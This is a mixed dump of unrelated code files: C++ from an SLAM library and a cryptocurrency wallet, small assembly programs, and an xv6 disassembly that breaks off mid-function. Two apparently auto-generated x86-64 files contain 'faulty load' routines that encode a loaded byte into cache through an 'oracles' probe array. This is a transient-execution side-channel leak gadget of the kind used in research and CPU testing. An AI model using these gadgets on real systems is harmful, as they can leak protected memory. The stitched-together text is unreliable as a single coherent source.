std::lock_guard<std::mutex> lock(mtx_map_access_);
for (const auto id_keyfrm : keyframes_) {
id_keyfrm.second->graph_node_->update_connections();
keyframe_data.push_back(id_keyfrm.second->to_buffer());
}
for (const auto id_lm : landmarks_) {
id_lm.second->update_normal_and_depth();
landmark_data.push_back(id_lm.second->to_buffer());
}
}
} // namespace data
} // namespace openvslam
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %rax
push %rbx
push %rcx
lea addresses_A_ht+0x46c0, %r13
nop
nop
nop
and %rax, %rax
movb (%r13), %cl
nop
nop
nop
nop
nop
xor $56260, %r12
lea addresses_UC_ht+0x192c0, %rbx
add %r10, %r10
movb (%rbx), %r15b
nop
cmp $53941, %r15
lea addresses_UC_ht+0x12a71, %rax
nop
nop
cmp $43496, %rbx
and $0xffffffffffffffc0, %rax
movntdqa (%rax), %xmm1
vpextrq $1, %xmm1, %rcx
nop
nop
xor $53950, %r12
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x1e8e8, %r12
nop
nop
nop
nop
cmp %r10, %r10
movb $0x51, (%r12)
and %rdi, %rdi
// REPMOV
lea addresses_normal+0x186c0, %rsi
lea addresses_normal+0xe1b0, %rdi
nop
nop
nop
dec %r10
mov $112, %rcx
rep movsw
nop
nop
add %r12, %r12
// Store
lea addresses_A+0xeec0, %r12
nop
add $4741, %r10
movb $0x51, (%r12)
nop
nop
and $11774, %r10
// Store
lea addresses_RW+0x18a70, %r10
nop
xor $51652, %r14
movw $0x5152, (%r10)
nop
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_PSE+0x81d0, %r14
sub %r12, %r12
mov $0x5152535455565758, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
nop
xor %rsi, %rsi
// Store
lea addresses_US+0xee6, %rdx
nop
sub $13918, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
movntdq %xmm6, (%rdx)
nop
add $12377, %rdx
// Store
lea addresses_normal+0x9198, %rcx
sub $7331, %r10
mov $0x5152535455565758, %rdx
movq %rdx, (%rcx)
nop
nop
nop
nop
and %r14, %r14
// Store
lea addresses_A+0x5d0c, %rsi
nop
dec %r12
movb $0x51, (%rsi)
nop
nop
nop
dec %rcx
// Store
lea addresses_UC+0x1c6c0, %rdx
add $16769, %r10
mov $0x5152535455565758, %r12
movq %r12, %xmm1
vmovups %ymm1, (%rdx)
nop
nop
cmp $34953, %r14
// Load
lea addresses_UC+0x64c0, %rdx
cmp $55292, %r12
mov (%rdx), %rdi
nop
inc %rsi
// Store
lea addresses_WC+0xcc88, %rdi
nop
xor $43537, %rsi
mov $0x5152535455565758, %r10
movq %r10, %xmm0
movups %xmm0, (%rdi)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
// Faulty Load
mov $0x3725380000000ac0, %rdx
nop
nop
nop
inc %rdi
mov (%rdx), %si
lea oracles, %rcx
and $0xff, %rsi
shlq $12, %rsi
mov (%rcx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_normal', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_UC', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'00': 43}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
add_i 0x082
|
; A022124: Fibonacci sequence beginning 3, 13.
; 3,13,16,29,45,74,119,193,312,505,817,1322,2139,3461,5600,9061,14661,23722,38383,62105,100488,162593,263081,425674,688755,1114429,1803184,2917613,4720797,7638410,12359207,19997617,32356824,52354441,84711265,137065706,221776971,358842677,580619648,939462325,1520081973,2459544298,3979626271,6439170569,10418796840,16857967409,27276764249,44134731658,71411495907,115546227565,186957723472,302503951037,489461674509,791965625546,1281427300055,2073392925601,3354820225656,5428213151257,8783033376913,14211246528170,22994279905083,37205526433253,60199806338336,97405332771589,157605139109925,255010471881514,412615610991439,667626082872953,1080241693864392,1747867776737345,2828109470601737,4575977247339082,7404086717940819,11980063965279901,19384150683220720,31364214648500621,50748365331721341,82112579980221962,132860945311943303,214973525292165265,347834470604108568,562807995896273833,910642466500382401,1473450462396656234,2384092928897038635,3857543391293694869,6241636320190733504,10099179711484428373,16340816031675161877,26439995743159590250,42780811774834752127,69220807517994342377,112001619292829094504,181222426810823436881,293224046103652531385,474446472914475968266,767670519018128499651,1242116991932604467917,2009787510950732967568,3251904502883337435485
add $0,1
mov $1,6
mov $3,4
lpb $0
sub $0,1
add $3,$1
mov $1,$2
add $1,3
mov $2,$3
lpe
mov $0,$1
|
[bits 32]
[section .text]
INT_VECTOR_SYS_CALL equ 0x80
_NR_REBOOT EQU 30
global reboot
reboot:
mov eax, _NR_REBOOT
mov ebx, [esp + 4]
int INT_VECTOR_SYS_CALL
ret |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x13f41, %r10
clflush (%r10)
nop
nop
nop
nop
sub $63765, %rax
and $0xffffffffffffffc0, %r10
movntdqa (%r10), %xmm0
vpextrq $0, %xmm0, %r13
add %r15, %r15
lea addresses_UC_ht+0x1497d, %rdi
nop
nop
nop
cmp %r12, %r12
vmovups (%rdi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rbp
nop
nop
nop
inc %r12
lea addresses_WT_ht+0x1477d, %rsi
lea addresses_D_ht+0x867d, %rdi
nop
xor %r15, %r15
mov $81, %rcx
rep movsq
nop
nop
nop
xor $42055, %r15
lea addresses_D_ht+0x1157d, %rcx
and %r15, %r15
movl $0x61626364, (%rcx)
add %r12, %r12
lea addresses_D_ht+0xad3d, %r13
inc %rax
mov (%r13), %r15w
add $8619, %rsi
lea addresses_WC_ht+0x437d, %rsi
lea addresses_WT_ht+0x1987d, %rdi
nop
nop
nop
nop
xor $20001, %r13
mov $116, %rcx
rep movsl
nop
nop
xor $25097, %r15
lea addresses_A_ht+0x1ddaf, %rcx
nop
nop
nop
nop
nop
cmp $40061, %rsi
vmovups (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r15
nop
sub %rcx, %rcx
lea addresses_UC_ht+0x19f59, %rsi
nop
nop
cmp $12016, %rcx
mov (%rsi), %r12d
nop
nop
nop
sub $2754, %r10
lea addresses_D_ht+0xab7d, %rsi
clflush (%rsi)
nop
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm3
movups %xmm3, (%rsi)
nop
nop
nop
add %r13, %r13
lea addresses_D_ht+0x1adc5, %rdi
sub $31777, %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm0
movups %xmm0, (%rdi)
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WC_ht+0x1c1f1, %r13
nop
nop
and %rsi, %rsi
mov $0x6162636465666768, %r15
movq %r15, (%r13)
nop
nop
nop
nop
nop
cmp $21060, %rsi
lea addresses_UC_ht+0x10b7d, %rsi
lea addresses_D_ht+0x1832d, %rdi
xor $35526, %r13
mov $106, %rcx
rep movsl
nop
and $15203, %rax
lea addresses_normal_ht+0xad7d, %rsi
lea addresses_D_ht+0x1b97d, %rdi
clflush (%rsi)
nop
nop
nop
cmp %r15, %r15
mov $27, %rcx
rep movsb
nop
nop
nop
nop
sub $63843, %rdi
lea addresses_WT_ht+0x291d, %r10
clflush (%r10)
sub $9314, %rdi
movb $0x61, (%r10)
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WT_ht+0x437d, %r10
nop
nop
nop
nop
nop
and %rcx, %rcx
mov (%r10), %r13d
cmp $44970, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rax
push %rdx
// Faulty Load
lea addresses_PSE+0xd37d, %rdx
nop
nop
nop
nop
sub %rax, %rax
mov (%rdx), %r8w
lea oracles, %rdx
and $0xff, %r8
shlq $12, %r8
mov (%rdx,%r8,1), %r8
pop %rdx
pop %rax
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
// Copyright (c) 2014-2016 The Dash Developers
// Copyright (c) 2021-2021 The GastroCoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "masternodelist.h"
#include "ui_masternodelist.h"
#include "activemasternode.h"
#include "clientmodel.h"
#include "guiutil.h"
#include "init.h"
#include "masternode-sync.h"
#include "masternodeconfig.h"
#include "masternodeman.h"
#include "sync.h"
#include "wallet.h"
#include "walletmodel.h"
#include "askpassphrasedialog.h"
#include <QMessageBox>
#include <QTimer>
CCriticalSection cs_masternodes;
MasternodeList::MasternodeList(QWidget* parent) : QWidget(parent),
ui(new Ui::MasternodeList),
clientModel(0),
walletModel(0)
{
ui->setupUi(this);
ui->startButton->setEnabled(false);
int columnAliasWidth = 100;
int columnAddressWidth = 200;
int columnProtocolWidth = 60;
int columnLevelWidth = 40;
int columnStatusWidth = 80;
int columnActiveWidth = 130;
int columnLastSeenWidth = 130;
ui->tableWidgetMyMasternodes->setAlternatingRowColors(true);
ui->tableWidgetMyMasternodes->setColumnWidth(0, columnAliasWidth);
ui->tableWidgetMyMasternodes->setColumnWidth(1, columnAddressWidth);
ui->tableWidgetMyMasternodes->setColumnWidth(2, columnProtocolWidth);
ui->tableWidgetMyMasternodes->setColumnWidth (3, columnLevelWidth);
ui->tableWidgetMyMasternodes->setColumnWidth (4, columnStatusWidth);
ui->tableWidgetMyMasternodes->setColumnWidth (5, columnActiveWidth);
ui->tableWidgetMyMasternodes->setColumnWidth (6, columnLastSeenWidth);
ui->tableWidgetMyMasternodes->setContextMenuPolicy(Qt::CustomContextMenu);
QAction* startAliasAction = new QAction(tr("Start alias"), this);
contextMenu = new QMenu();
contextMenu->addAction(startAliasAction);
connect(ui->tableWidgetMyMasternodes, SIGNAL(customContextMenuRequested(const QPoint&)), this, SLOT(showContextMenu(const QPoint&)));
connect(startAliasAction, SIGNAL(triggered()), this, SLOT(on_startButton_clicked()));
timer = new QTimer(this);
connect(timer, SIGNAL(timeout()), this, SLOT(updateMyNodeList()));
timer->start(1000);
// Fill MN list
fFilterUpdated = true;
nTimeFilterUpdated = GetTime();
}
MasternodeList::~MasternodeList()
{
delete ui;
}
void MasternodeList::setClientModel(ClientModel* model)
{
this->clientModel = model;
}
void MasternodeList::setWalletModel(WalletModel* model)
{
this->walletModel = model;
}
void MasternodeList::showContextMenu(const QPoint& point)
{
QTableWidgetItem* item = ui->tableWidgetMyMasternodes->itemAt(point);
if (item) contextMenu->exec(QCursor::pos());
}
void MasternodeList::StartAlias(std::string strAlias)
{
std::string strStatusHtml;
strStatusHtml += "<center>Alias: " + strAlias;
BOOST_FOREACH (CMasternodeConfig::CMasternodeEntry mne, masternodeConfig.getEntries()) {
if (mne.getAlias() == strAlias) {
std::string strError;
CMasternodeBroadcast mnb;
bool fSuccess = CMasternodeBroadcast::Create(mne.getIp(), mne.getPrivKey(), mne.getTxHash(), mne.getOutputIndex(), strError, mnb);
if (fSuccess) {
strStatusHtml += "<br>Successfully started masternode.";
mnodeman.UpdateMasternodeList(mnb);
mnb.Relay();
} else {
strStatusHtml += "<br>Failed to start masternode.<br>Error: " + strError;
}
break;
}
}
strStatusHtml += "</center>";
QMessageBox msg;
msg.setText(QString::fromStdString(strStatusHtml));
msg.exec();
updateMyNodeList(true);
}
void MasternodeList::StartAll(std::string strCommand)
{
int nCountSuccessful = 0;
int nCountFailed = 0;
std::string strFailedHtml;
BOOST_FOREACH (CMasternodeConfig::CMasternodeEntry mne, masternodeConfig.getEntries()) {
std::string strError;
CMasternodeBroadcast mnb;
int nIndex;
if(!mne.castOutputIndex(nIndex))
continue;
CTxIn txin = CTxIn(uint256S(mne.getTxHash()), uint32_t(nIndex));
CMasternode* pmn = mnodeman.Find(txin);
if (strCommand == "start-missing" && pmn) continue;
bool fSuccess = CMasternodeBroadcast::Create(mne.getIp(), mne.getPrivKey(), mne.getTxHash(), mne.getOutputIndex(), strError, mnb);
if (fSuccess) {
nCountSuccessful++;
mnodeman.UpdateMasternodeList(mnb);
mnb.Relay();
} else {
nCountFailed++;
strFailedHtml += "\nFailed to start " + mne.getAlias() + ". Error: " + strError;
}
}
pwalletMain->Lock();
std::string returnObj;
returnObj = strprintf("Successfully started %d masternodes, failed to start %d, total %d", nCountSuccessful, nCountFailed, nCountFailed + nCountSuccessful);
if (nCountFailed > 0) {
returnObj += strFailedHtml;
}
QMessageBox msg;
msg.setText(QString::fromStdString(returnObj));
msg.exec();
updateMyNodeList(true);
}
void MasternodeList::updateMyMasternodeInfo(QString strAlias, QString strAddr, CMasternode* pmn)
{
LOCK(cs_mnlistupdate);
bool fOldRowFound = false;
int nNewRow = 0;
for (int i = 0; i < ui->tableWidgetMyMasternodes->rowCount(); i++) {
if (ui->tableWidgetMyMasternodes->item(i, 0)->text() == strAlias) {
fOldRowFound = true;
nNewRow = i;
break;
}
}
if (nNewRow == 0 && !fOldRowFound) {
nNewRow = ui->tableWidgetMyMasternodes->rowCount();
ui->tableWidgetMyMasternodes->insertRow(nNewRow);
}
QTableWidgetItem* aliasItem = new QTableWidgetItem(strAlias);
QTableWidgetItem* addrItem = new QTableWidgetItem(pmn ? QString::fromStdString(pmn->addr.ToString()) : strAddr);
QTableWidgetItem* protocolItem = new QTableWidgetItem(QString::number(pmn ? pmn->protocolVersion : -1));
QTableWidgetItem* levelItem = new QTableWidgetItem (QString::number (pmn ? pmn->GetPhase () : - 1));
QTableWidgetItem* statusItem = new QTableWidgetItem(QString::fromStdString(pmn ? pmn->GetStatus() : "MISSING"));
GUIUtil::DHMSTableWidgetItem* activeSecondsItem = new GUIUtil::DHMSTableWidgetItem(pmn ? (pmn->lastPing.sigTime - pmn->sigTime) : 0);
QTableWidgetItem* lastSeenItem = new QTableWidgetItem(QString::fromStdString(DateTimeStrFormat("%Y-%m-%d %H:%M", pmn ? pmn->lastPing.sigTime : 0)));
QTableWidgetItem* pubkeyItem = new QTableWidgetItem(QString::fromStdString(pmn ? CBitcoinAddress(pmn->pubKeyCollateralAddress.GetID()).ToString() : ""));
ui->tableWidgetMyMasternodes->setItem(nNewRow, 0, aliasItem);
ui->tableWidgetMyMasternodes->setItem(nNewRow, 1, addrItem);
ui->tableWidgetMyMasternodes->setItem(nNewRow, 2, protocolItem);
ui->tableWidgetMyMasternodes->setItem (nNewRow, 3, levelItem);
ui->tableWidgetMyMasternodes->setItem (nNewRow, 4, statusItem);
ui->tableWidgetMyMasternodes->setItem (nNewRow, 5, activeSecondsItem);
ui->tableWidgetMyMasternodes->setItem (nNewRow, 6, lastSeenItem);
ui->tableWidgetMyMasternodes->setItem (nNewRow, 7, pubkeyItem);
}
void MasternodeList::updateMyNodeList(bool fForce)
{
static int64_t nTimeMyListUpdated = 0;
// automatically update my masternode list only once in MY_MASTERNODELIST_UPDATE_SECONDS seconds,
// this update still can be triggered manually at any time via button click
int64_t nSecondsTillUpdate = nTimeMyListUpdated + MY_MASTERNODELIST_UPDATE_SECONDS - GetTime();
ui->secondsLabel->setText(QString::number(nSecondsTillUpdate));
if (nSecondsTillUpdate > 0 && !fForce) return;
nTimeMyListUpdated = GetTime();
ui->tableWidgetMyMasternodes->setSortingEnabled(false);
BOOST_FOREACH (CMasternodeConfig::CMasternodeEntry mne, masternodeConfig.getEntries()) {
int nIndex;
if(!mne.castOutputIndex(nIndex))
continue;
CTxIn txin = CTxIn(uint256S(mne.getTxHash()), uint32_t(nIndex));
CMasternode* pmn = mnodeman.Find(txin);
updateMyMasternodeInfo(QString::fromStdString(mne.getAlias()), QString::fromStdString(mne.getIp()), pmn);
}
ui->tableWidgetMyMasternodes->setSortingEnabled(true);
// reset "timer"
ui->secondsLabel->setText("0");
}
void MasternodeList::on_startButton_clicked()
{
// Find selected node alias
QItemSelectionModel* selectionModel = ui->tableWidgetMyMasternodes->selectionModel();
QModelIndexList selected = selectionModel->selectedRows();
if (selected.count() == 0) return;
QModelIndex index = selected.at(0);
int nSelectedRow = index.row();
std::string strAlias = ui->tableWidgetMyMasternodes->item(nSelectedRow, 0)->text().toStdString();
// Display message box
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm masternode start"),
tr("Are you sure you want to start masternode %1?").arg(QString::fromStdString(strAlias)),
QMessageBox::Yes | QMessageBox::Cancel,
QMessageBox::Cancel);
if (retval != QMessageBox::Yes) return;
WalletModel::EncryptionStatus encStatus = walletModel->getEncryptionStatus();
if (encStatus == walletModel->Locked || encStatus == walletModel->UnlockedForAnonymizationOnly) {
WalletModel::UnlockContext ctx(walletModel->requestUnlock(AskPassphraseDialog::Context::Unlock_Full));
if (!ctx.isValid()) return; // Unlock wallet was cancelled
StartAlias(strAlias);
return;
}
StartAlias(strAlias);
}
void MasternodeList::on_startAllButton_clicked()
{
// Display message box
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm all masternodes start"),
tr("Are you sure you want to start ALL masternodes?"),
QMessageBox::Yes | QMessageBox::Cancel,
QMessageBox::Cancel);
if (retval != QMessageBox::Yes) return;
WalletModel::EncryptionStatus encStatus = walletModel->getEncryptionStatus();
if (encStatus == walletModel->Locked || encStatus == walletModel->UnlockedForAnonymizationOnly) {
WalletModel::UnlockContext ctx(walletModel->requestUnlock(AskPassphraseDialog::Context::Unlock_Full));
if (!ctx.isValid()) return; // Unlock wallet was cancelled
StartAll();
return;
}
StartAll();
}
void MasternodeList::on_startMissingButton_clicked()
{
if (!masternodeSync.IsMasternodeListSynced()) {
QMessageBox::critical(this, tr("Command is not available right now"),
tr("You can't use this command until masternode list is synced"));
return;
}
// Display message box
QMessageBox::StandardButton retval = QMessageBox::question(this,
tr("Confirm missing masternodes start"),
tr("Are you sure you want to start MISSING masternodes?"),
QMessageBox::Yes | QMessageBox::Cancel,
QMessageBox::Cancel);
if (retval != QMessageBox::Yes) return;
WalletModel::EncryptionStatus encStatus = walletModel->getEncryptionStatus();
if (encStatus == walletModel->Locked || encStatus == walletModel->UnlockedForAnonymizationOnly) {
WalletModel::UnlockContext ctx(walletModel->requestUnlock(AskPassphraseDialog::Context::Unlock_Full));
if (!ctx.isValid()) return; // Unlock wallet was cancelled
StartAll("start-missing");
return;
}
StartAll("start-missing");
}
void MasternodeList::on_tableWidgetMyMasternodes_itemSelectionChanged()
{
if (ui->tableWidgetMyMasternodes->selectedItems().count() > 0) {
ui->startButton->setEnabled(true);
}
}
void MasternodeList::on_UpdateButton_clicked()
{
updateMyNodeList(true);
}
|
_ls: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
close(fd);
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
10: 83 ec 0c sub $0xc,%esp
13: 8b 01 mov (%ecx),%eax
15: 8b 51 04 mov 0x4(%ecx),%edx
int i;
if(argc < 2){
18: 83 f8 01 cmp $0x1,%eax
1b: 7e 24 jle 41 <main+0x41>
1d: 8d 5a 04 lea 0x4(%edx),%ebx
20: 8d 34 82 lea (%edx,%eax,4),%esi
23: 90 nop
24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ls(".");
exit();
}
for(i=1; i<argc; i++)
ls(argv[i]);
28: 83 ec 0c sub $0xc,%esp
2b: ff 33 pushl (%ebx)
2d: 83 c3 04 add $0x4,%ebx
30: e8 cb 00 00 00 call 100 <ls>
for(i=1; i<argc; i++)
35: 83 c4 10 add $0x10,%esp
38: 39 f3 cmp %esi,%ebx
3a: 75 ec jne 28 <main+0x28>
exit();
3c: e8 41 05 00 00 call 582 <exit>
ls(".");
41: 83 ec 0c sub $0xc,%esp
44: 68 90 0a 00 00 push $0xa90
49: e8 b2 00 00 00 call 100 <ls>
exit();
4e: e8 2f 05 00 00 call 582 <exit>
53: 66 90 xchg %ax,%ax
55: 66 90 xchg %ax,%ax
57: 66 90 xchg %ax,%ax
59: 66 90 xchg %ax,%ax
5b: 66 90 xchg %ax,%ax
5d: 66 90 xchg %ax,%ax
5f: 90 nop
00000060 <fmtname>:
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 56 push %esi
64: 53 push %ebx
65: 8b 5d 08 mov 0x8(%ebp),%ebx
for(p=path+strlen(path); p >= path && *p != '/'; p--)
68: 83 ec 0c sub $0xc,%esp
